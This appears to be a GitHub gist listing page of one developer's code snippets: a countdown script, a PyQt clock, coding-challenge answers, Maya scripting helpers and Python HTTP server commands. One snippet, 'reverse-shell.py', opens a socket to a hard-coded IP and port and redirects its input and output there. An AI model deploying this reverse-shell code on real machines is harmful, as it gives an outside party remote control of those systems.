Skip to content

Instantly share code, notes, and snippets.

View SlyCodePanda's full-sized avatar
🤖
Working

Renee Marsland SlyCodePanda

🤖
Working
View GitHub Profile
@SlyCodePanda
SlyCodePanda / profileUpdate.txt
Last active October 14, 2022 04:51
Profile Update
I have been unable to upload any code stuff here for a while due to all the code I write these days being at work.
And I am unable to release said code publicly.
Maybe I'll get around to some personal projects one day again soon.
# Get location of interpreter
which bash
'''
Code that lets you create a countdown to a certian date and time.
'''
#!/usr/bin/python
from datetime import datetime, time
class bcolors:
@SlyCodePanda
SlyCodePanda / digitalClock.py
Last active February 17, 2020 05:20
Code for creating a digital clock
import sys
from PyQt4 import QtGui, QtCore
from time import strftime
'''
http://thecodeinn.blogspot.com/2013/07/tutorial-pyqt-digital-clock.html
'''
class Main(QtGui.QMainWindow):
@SlyCodePanda
SlyCodePanda / countLettersAndDigits.py
Last active February 18, 2020 00:52
A bunch of Code Wars challenges I have done. Frist function is mine, second is best voted answer.
'''
create a method that can determine how many letters and digits are in a given string.
Example:
"hel2!lo" --> 6
"wicked .. !" --> 6
"!?..A" --> 1
'''
prod_id = [1, 2, 3]
prod_name = ["foo", "bar", "baz"]
prod_dict = dict(zip(prod_id, prod_name))
@SlyCodePanda
SlyCodePanda / rayCasting.py
Created January 15, 2020 05:27
Ray casting script in Maya using Python.
import maya.OpenMaya as om
import maya.cmds as cmds
def RayIntersect(mesh, point, direction):
# Clear selection.
cmds.select(cl=True)
# Select mesh.
om.MGlobal.selectByName(mesh)
# Python has a HTTP server built into the std library.
# Python 3.x
python3 -m http.server
Python 2.x
python -m SimpleHTTPServer 8000
# These will server the current directory as http://localhost:8000
@SlyCodePanda
SlyCodePanda / reverse-shell.py
Created December 13, 2019 07:04
Reverse Shell in Python
# https://www.thepythoncode.com/article/create-reverse-shell-python
import socket
import subprocess
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.17.1", 1337))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
@SlyCodePanda
SlyCodePanda / getShapes.py
Last active June 24, 2019 07:54
Handy snippets for quick maya python scripts.
# Get the shape node that is hidden in the transform.
selected_items = cmds.ls(selection=True)
if selected_items:
shapes = cmds.listRelatives(selected_items[0], shapes=True)
if shapes:
print shapes[0]